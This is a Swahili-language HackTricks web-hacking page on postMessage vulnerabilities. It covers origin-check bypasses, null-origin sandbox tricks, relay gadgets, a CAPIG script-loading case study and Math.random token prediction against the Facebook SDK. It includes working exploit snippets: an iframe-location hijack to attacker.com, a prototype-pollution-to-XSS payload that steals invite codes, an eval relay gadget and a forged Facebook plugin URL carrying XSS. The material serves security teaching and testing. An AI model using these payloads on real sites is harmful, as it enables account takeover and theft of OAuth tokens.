Udhaifu za PostMessage
Tip
Jifunze na fanya mazoezi ya AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na fanya mazoezi ya Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.
Tuma PostMessage
PostMessage inatumia function ifuatayo kutuma ujumbe:
targetWindow.postMessage(message, targetOrigin, [transfer]);
# postMessage to current page
window.postMessage('{"__proto__":{"isAdmin":True}}', '*')
# postMessage to an iframe with id "idframe"
<iframe id="idframe" src="http://victim.com/"></iframe>
document.getElementById('idframe').contentWindow.postMessage('{"__proto__":{"isAdmin":True}}', '*')
# postMessage to an iframe via onload
<iframe src="https://victim.com/" onload="this.contentWindow.postMessage('<script>print()</script>','*')">
# postMessage to popup
win = open('URL', 'hack', 'width=800,height=300,top=500');
win.postMessage('{"__proto__":{"isAdmin":True}}', '*')
# postMessage to an URL
window.postMessage('{"__proto__":{"isAdmin":True}}', 'https://company.com')
# postMessage to iframe inside popup
win = open('URL-with-iframe-inside', 'hack', 'width=800,height=300,top=500');
## loop until win.length == 1 (until the iframe is loaded)
win[0].postMessage('{"__proto__":{"isAdmin":True}}', '*')
Kumbuka kwamba targetOrigin inaweza kuwa ‘*’ au URL kama https://company.com.
Katika senario ya pili, ujumbe unaweza kutumwa tu kwa domain hiyo (hata kama origin ya window object ni tofauti).
Ikiwa wildcard imetumika, ujumbe unaweza kutumwa kwa domain yoyote, na yatatumwa kwa origin ya Window object.
Kushambulia iframe & wildcard katika targetOrigin
Kama ilivyoelezwa katika this report ikiwa utakuta ukurasa unaoweza iframed (hakuna ulinzi wa X-Frame-Header) na ambao unatumia postMessage kutuma ujumbe wa nyeti kwa kutumia wildcard (*), unaweza kubadili origin ya iframe na leak ujumbe wa nyeti kwa domain inayodhibitiwa na wewe.\
Kumbuka kwamba ikiwa ukurasa unaweza kuiframed lakini targetOrigin imewekwa kwa URL na si kwa wildcard, hila hii haitafanya kazi.
<html>
<iframe src="https://docs.google.com/document/ID" />
<script>
setTimeout(exp, 6000); //Wait 6s
//Try to change the origin of the iframe each 100ms
function exp(){
setInterval(function(){
window.frames[0].frame[0][2].location="https://attacker.com/exploit.html";
}, 100);
}
</script>
addEventListener exploitation
addEventListener ni function inayotumiwa na JS kutangaza function ambayo inatarajia postMessages.\
Msimbo unaofanana na ufuatao utatumika:
window.addEventListener(
"message",
(event) => {
if (event.origin !== "http://example.org:8080") return
// ...
},
false
)
Note katika kesi hii jinsi jambo la kwanza ambalo code inafanya ni kukagua origin. Hii ni sana muhimu hasa ikiwa page itafanya kitu chochote nyeti na taarifa zinazopokelewa (kama kubadilisha password). Ikiwa haitakagua origin, attackers wanaweza kufanya victims watume data yoyote kwa endpoints hizi na kubadilisha nywila za victims (kwa mfano huu).
Uorodheshaji
Ili kupata event listeners kwenye page ya sasa unaweza:
- Tafuta kwenye JS code kwa
window.addEventListenerna$(window).on(JQuery version) - Endesha katika developer tools console:
getEventListeners(window)
 (1).png)
- Nenda kwenye Elements –> Event Listeners katika developer tools za browser
.png)
- Tumia browser extension kama https://github.com/benso-io/posta au https://github.com/fransr/postMessage-tracker. Browser extensions hizi zitafanya intercept all the messages na kuzikufunulia.
Origin check bypasses
- Kipengele cha
event.isTrustedkinachukuliwa kuwa salama kwani kinarudishaTruetu kwa events zinazozalishwa na vitendo halisi vya mtumiaji. Ingawa ni changamoto kuvipita ikiwa kimefanywa ipasavyo, umuhimu wake kwenye ukaguzi wa usalama ni mkubwa. - Matumizi ya
indexOf()kwa validation ya origin kwenye PostMessage yanaweza kupitishwa. Mfano unaoonyesha udhaifu huu ni:
"https://app-sj17.marketo.com".indexOf("https://app-sj17.ma")
search()method kutokaString.prototype.search()imekusudiwa kwa regular expressions, si kwa strings. Kupitisha chochote tofauti na regexp kunasababisha uongozaji wa implicit kwenda regex, na kufanya method iwe hatarishi. Hii ni kwa sababu katika regex, dot (.) inafanya kazi kama wildcard, ikiruhusu kupitishwa kwa validation kwa domains zilizoandaliwa maalum. Kwa mfano:
"https://www.safedomain.com".search("www.s.fedomain.com")
-
Kazi ya
match(), kamasearch(), inashughulikia regex. Ikiwa regex imeundwa vibaya, inaweza kuwa rahisi kupitishwa. -
Kazi ya
escapeHtmlinalenga kusafisha inputs kwa ku-escape characters. Hata hivyo, haiunde object mpya iliyopigwa escape bali inaandika juu properties za object iliyopo. Tabia hii inaweza kutumiwa vibaya. Kwa namna maalum, ikiwa object inaweza kudhibitiwa ili property inayodhibitiwa isitambuehasOwnProperty,escapeHtmlhaitafanya kazi kama inavyotarajiwa. Hii inaonyeshwa katika mifano hapa chini: -
Kushindwa kilichotarajiwa:
result = u({
message: "'\"<b>\\",
})
result.message // "'"<b>\"
- Kupitisha escape:
result = u(new Error("'\"<b>\\"))
result.message // "'"<b>\"
Katika muktadha wa udhaifu huu, object ya File inatolewa kama inayoweza kutumika kwa urahisi kutokana na property yake ya read-only name. Property hii, inapoitwa katika templates, haisafishwi na escapeHtml, na kusababisha hatari za usalama.
document.domainproperty katika JavaScript inaweza kuwekwa na script ili kufupisha domain, kuruhusu utekelezaji mdogo wa same-origin policy ndani ya domain moja ya mzazi.
Origin-only trust + trusted relays
Ikiwa receiver inakagua tu event.origin (mfano, inaamini *.trusted.com yoyote) mara nyingi unaweza kupata “relay” page kwenye origin hiyo inayorudisha params zinazodhibitiwa na attacker kupitia postMessage kwa targetOrigin/targetWindow uliopewa. Mifano ni pamoja na gadgets za marketing/analytics zinazochukua query params na kupeleka {msg_type, access_token, ...} kwa opener/parent. Unaweza:
- Fungua page ya victim katika popup/iframe ambayo ina
openerili handlers zake zijisajili (pixels/SDK nyingi huweka listeners tu wakatiwindow.openeripo). - Navigate window nyingine ya attacker hadi relay endpoint kwenye trusted origin, ukijaza fields za message unazotaka kuingizwa (message type, tokens, nonces).
- Kwa sababu message sasa inatoka kwa trusted origin, origin-only validation inapita na unaweza kusababisha tabia zenye ruhusa (mabadiliko ya state, API calls, DOM writes) katika listener ya victim.
Mifumo ya matumizi mabaya iliyoshuhudiwa:
- Analytics SDKs (mfano, pixel/fbevents-style) zinakula messages kama
FACEBOOK_IWL_BOOTSTRAP, kisha huita backend APIs kwa kutumia token iliyotolewa katika message na kujumuishalocation.href/document.referrerkatika request body. Ikiwa utatoa token yako mwenyewe, unaweza kusoma requests hizi katika request history/logs ya token na kunyakua OAuth codes/tokens zilizomo katika URL/referrer ya page ya victim. - Relay yoyote inayoreflect fields yoyote kupitia
postMessageinakuwezesha kudanganya message types zinazotarajiwa na privileged listeners. Changanya na validation dhaifu ya input kufikia Graph/REST calls, kufungua features, au flows za CSRF-equivalent.
Vidokezo vya kuwindia: orodheshaji postMessage listeners zinazoangalia tu event.origin, kisha tazama same-origin HTML/JS endpoints zinazotoa URL params kupitia postMessage (marketing previews, login popups, OAuth error pages). Unganisha zote mbili na window.open() + postMessage ili kupita ukaguzi wa origin.
e.origin == window.origin bypass
Wakati ukijumuisha web page ndani ya sandboxed iframe kwa kutumia %%%%%%, ni muhimu kuelewa kwamba origin ya iframe itawekwa kuwa null. Hii ni muhimu hasa wakati wa kushughulikia sandbox attributes na athari zao kwenye usalama na utendakazi.
Kwa kuweka allow-popups katika sandbox attribute, popup yoyote inayofunguliwa kutoka ndani ya iframe inapata vizuizi vya sandbox vya mzazi. Hii ina maana kwamba isipokuwa attribute ya allow-popups-to-escape-sandbox pia iwepo, popup window origin pia itawekwa kuwa null, ikilingana na origin ya iframe.
Kwa hivyo, wakati popup inafunguliwa chini ya masharti haya na message inatumwa kutoka iframe kwenda popup kwa kutumia postMessage, pande zote za kutuma na kupokea zina origins set kuelekea null. Hali hii inasababisha senario ambapo e.origin == window.origin inakadirika kuwa true (null == null), kwa sababu iframe na popup zinashiriki value ya origin ya null.
Kwa habari zaidi soma:
Bypassing SOP with Iframes - 1
Bypassing e.source
Inawezekana kuangalia ikiwa message ilitoka kwenye window ile ile script inasikiliza (hasa kuvutia kwa Content Scripts kutoka kwa browser extensions kuangalia kama message ilitumwa kutoka kwenye ukurasa ule ule):
// If it’s not, return immediately.
if (received_message.source !== window) {
return
}
Unaweza kulazimisha e.source ya ujumbe iwe null kwa kuunda iframe ambayo inayotuma postMessage na huondolewa mara moja.
Kwa taarifa zaidi soma:
Bypassing SOP with Iframes - 2
X-Frame-Header bypass
Ili kutekeleza mashambulizi haya kwa namna bora utakuwa na uwezo wa kuweka ukurasa wa mtandao wa mwathiriwa ndani ya iframe. Lakini headers zingine kama X-Frame-Header zinaweza kuzuia tabia hiyo.
Katika mazingira hayo bado unaweza kutumia shambulio lisilo la kificho. Unaweza kufungua tabo mpya kwa web application iliyo hatarini na kuwasiliana nayo:
<script>
var w=window.open("<url>")
setTimeout(function(){w.postMessage('text here','*');}, 2000);
</script>
Kuiba ujumbe uliotumwa kwa child kwa kuzuia main page
Katika ukurasa ufuatao unaweza kuona jinsi unavyoweza kuiba nyeti postmessage data iliyotumwa kwa child iframe kwa kuzuia ukurasa kuu kabla ya kutuma data na kutumia XSS in the child ku leak the data kabla haijapokelewa:
Blocking main page to steal postmessage
Kuiba ujumbe kwa kubadilisha location ya iframe
Ikiwa unaweza kui-frame webpage bila X-Frame-Header ambayo ina iframe nyingine, unaweza badilisha location ya child iframe hiyo, hivyo ikiwa inapokea postmessage iliyotumwa kwa kutumia wildcard, mshambuliaji anaweza badilisha origin ya iframe hiyo kwa ukurasa unaodhibitiwa naye na kuiba ujumbe:
Steal postmessage modifying iframe location
postMessage to Prototype Pollution and/or XSS
Katika matukio ambapo data inayotumwa kupitia postMessage inatekelezwa na JS, unaweza iframe ukurasa na exploit prototype pollution/XSS kwa kutuma exploit kupitia postMessage.
Mifano michache ya XSS iliyofafanuliwa vizuri kupitia postMessage inaweza kupatikana katika https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html
Mfano wa exploit ya kutumia Prototype Pollution and then XSS kupitia postMessage kwa iframe:
<html>
<body>
<iframe
id="idframe"
src="http://127.0.0.1:21501/snippets/demo-3/embed"></iframe>
<script>
function get_code() {
document
.getElementById("iframe_victim")
.contentWindow.postMessage(
'{"__proto__":{"editedbymod":{"username":"<img src=x onerror=\\"fetch(\'http://127.0.0.1:21501/api/invitecodes\', {credentials: \'same-origin\'}).then(response => response.json()).then(data => {alert(data[\'result\'][0][\'code\']);})\\" />"}}}',
"*"
)
document
.getElementById("iframe_victim")
.contentWindow.postMessage(JSON.stringify("refresh"), "*")
}
setTimeout(get_code, 2000)
</script>
</body>
</html>
Kwa maelezo zaidi:
- Kiungo kwa ukurasa kuhusu prototype pollution
- Kiungo kwa ukurasa kuhusu XSS
- Kiungo kwa ukurasa kuhusu client side prototype pollution to XSS
Upakaji wa script uliotokana na origin & pivot ya supply-chain (somo la kesi la CAPIG)
capig-events.js iliregisha tu message handler wakati window.opener ilikuwa imepo. Wakati wa IWL_BOOTSTRAP ilikagua pixel_id lakini ilihifadhi event.origin na baadaye ilitumia kujenga ${host}/sdk/${pixel_id}/iwl.js.
Handler akiandika origin inayodhibitiwa na attacker
```javascript if (window.opener) { window.addEventListener("message", (event) => { if ( !localStorage.getItem("AHP_IWL_CONFIG_STORAGE_KEY") && !localStorage.getItem("FACEBOOK_IWL_CONFIG_STORAGE_KEY") && event.data.msg_type === "IWL_BOOTSTRAP" && checkInList(g.pixels, event.data.pixel_id) !== -1 ) { localStorage.setItem("AHP_IWL_CONFIG_STORAGE_KEY", { pixelID: event.data.pixel_id, host: event.origin, sessionStartTime: event.data.session_start_time, }) startIWL() // loads `${host}/sdk/${pixel_id}/iwl.js` } }) } ```Exploit (origin → script-src pivot):
- Pata opener: kwa mfano, katika Facebook Android WebView tumia tena
window.namekwawindow.open(target, name)ili dirisha liwe opener wake mwenyewe, kisha tuma postMessage kutoka iframe yenye madhara. - Tuma
IWL_BOOTSTRAPkutoka origin yoyote ili kuhifadhihost = event.originkatikalocalStorage. - Host
/sdk/<pixel_id>/iwl.jskwenye origin yoyote inayoruhusiwa na CSP (takeover/XSS/upload kwenye domain ya analytics iliyoorodheshwa).startIWL()kisha inapakia attacker JS katika embedding site (mf.,www.meta.com), ikiruhusu credentialed cross-origin calls na account takeover.
Ikiwa direct opener control ulikuwa hauwezekani, compromising iframe ya third-party kwenye ukurasa bado kuliruhusu kutuma crafted postMessage kwa parent ili kuchafua host iliyohifadhiwa na kulazimisha script kupakiwa.
Backend-generated shared script → stored XSS: plugin AHPixelIWLParametersPlugin iliunganisha user rule parameters ndani ya JS iliyoongezwa kwenye capig-events.js (mf., cbq.config.set(...)). Kuingiza breakouts kama "]} kuliingiza arbitrary JS, kuunda stored XSS katika shared script iliyotumwa kwa tovuti zote zinazoiweka.
Trusted-origin allowlist si kizuizi
Uthibiti mkali wa event.origin hufanya kazi tu ikiwa trusted origin cannot run attacker JS. Wakati privileged pages zina-embed third-party iframes na zikidhani event.origin === "https://partner.com" ni salama, XSS yoyote katika partner.com inageuka kuwa bridge into the parent:
// Parent (trusted page)
window.addEventListener("message", (e) => {
if (e.origin !== "https://partner.com") return
const [type, html] = e.data.split("|")
if (type === "Partner.learnMore") target.innerHTML = html // DOM XSS
})
Mfumo wa shambulio ulioshuhudiwa katika mazingira ya kweli:
- Exploit XSS in the partner iframe na kuacha relay gadget ili kila
postMessageiwe code exec ndani ya trusted origin:
<img src="" onerror="onmessage=(e)=>{eval(e.data.cmd)};">
- From the attacker page, tuma JS kwa iframe iliyoharibika inayopitisha aina ya ujumbe iliyoruhusiwa kurudi kwa parent. Ujumbe unatoka kwa
partner.com, unapita kupitia allowlist, na una HTML inayowekwa kwa njia isiyo salama:
postMessage({
cmd: `top.frames[1].postMessage('Partner.learnMore|<img src="" onerror="alert(document.domain)">|b|c', '*')`
}, "*")
- Parent huingiza attacker HTML, ikitoa JS execution in the parent origin (e.g.,
facebook.com), ambayo inaweza kutumika kuiba OAuth codes au kupinduka hadi full account takeover flows.
Key takeaways:
- Partner origin isn’t a boundary: XSS yoyote kwenye partner “trusted” inaruhusu attackers kutuma allowed messages zinazopita
event.originchecks. - Handlers zinazotumia partner-controlled payloads (mfano,
innerHTMLkwenye aina maalum za message) hufanya partner compromise kuwa same-origin DOM XSS. - Uso mpana wa message surface (aina nyingi, hakuna structure validation) hutoa gadgets zaidi za pivot mara iframe ya partner inapofichuliwa.
Kutabiri Math.random() callback tokens katika postMessage bridges
Wakati message validation inatumia “shared secret” iliyoundwa na Math.random() (mfano, guid() { return "f" + (Math.random() * (1<<30)).toString(16).replace(".", "") }) na helper sawa pia inapoa n amina plugin iframes, unaweza kurecover PRNG outputs na kutengeneza trusted messages:
- Leak PRNG outputs via
window.name: The SDK auto-names plugin iframes withguid(). If you control the top frame, iframe the victim page, then navigate the plugin iframe to your origin (e.g.,window.frames[0].frames[0].location='https://attacker.com') and readwindow.frames[0].frames[0].nameto obtain a rawMath.random()output. - Force more outputs without reloads: Baadhi ya SDKs zinaonyesha reinit path; katika the FB SDK, firing
init:postna{xfbml:1}inalazimishaXFBML.parse(), hufuta/huunda upya plugin iframe, na kuzalisha majina/mapokezi mapya ya callback IDs. Repeated reinit inatoa PRNG outputs kadri inavyohitajika (kumbuka simu za ziada za ndani zaMath.random()kwa callback/iframe IDs, hivyo solvers lazima wapitishe thamani za kati). - Trusted-origin delivery via parameter pollution: Ikiwa first-party plugin endpoint ina-reflect parameter isiyosanitiwa ndani ya cross-window payload (mfano,
/plugins/feedback.php?...%23relation=parent.parent.frames[0]%26cb=PAYLOAD%26origin=TARGET), unaweza inject&type=...&iconSVG=...huku ukidumisha trustedfacebook.comorigin. - Predict the next callback: Convert leaked iframe names back to floats katika
[0,1)na ulaze thamani kadhaa (hata zisizo mtawalia) kwenye V8Math.randompredictor (mfano, Z3-based). Generate the nextguid()locally ili kuforge expected callback token. - Trigger the sink: Tunga postMessage data ili bridge i-dispatch
xd.mpn.setupIconIframena i-inject HTML ndani yaiconSVG(mfano, URL-encoded<img src=x onerror=...>), ukifikia DOM XSS ndani ya hosting origin; kutoka hapo, same-origin iframes (OAuth dialogs, arbiters, n.k.) zinaweza kusomwa. - Framing quirks help: Mnyororo unahitaji framing. Katika baadhi ya mobile webviews,
X-Frame-Optionsinaweza kupunguka hadi unsupportedALLOW-FROMwakatiframe-ancestorsipo, na vigezo za “compat” vinaweza kulazimisha permissiveframe-ancestors, kuwezeshawindow.nameside channel.
Mfano mdogo wa forged message
// predictedFloat is the solver output for the next Math.random()
const callback = "f" + (predictedFloat * (1 << 30)).toString(16).replace(".", "")
const payload =
callback +
"&type=mpn.setupIconIframe&frameName=x" +
"&iconSVG=%3cimg%20src%3dx%20onerror%3dalert(document.domain)%3e"
const fbMsg = `https://www.facebook.com/plugins/feedback.php?api_key&channel_url=https://staticxx.facebook.com/x/connect/xd_arbiter/?version=42%23relation=parent.parent.frames[0]%26cb=${encodeURIComponent(payload)}%26origin=https://www.facebook.com`
iframe.location = fbMsg // sends postMessage from facebook.com with forged callback
Marejeo
- https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html
- https://dev.to/karanbamal/how-to-spot-and-exploit-postmessage-vulnerablities-36cd
- Leaking fbevents: OAuth code exfiltration via postMessage trust leading to Instagram ATO
- Kwa mazoezi: https://github.com/yavolo/eventlistener-xss-recon
- CAPIG postMessage origin trust → script loading + stored JS injection
- Self XSS Facebook Payments
- Facebook JavaScript SDK Math.random callback prediction → DOM XSS writeup
- V8 Math.random() state recovery (Z3 predictor)
Tip
Jifunze na fanya mazoezi ya AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na fanya mazoezi ya Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.


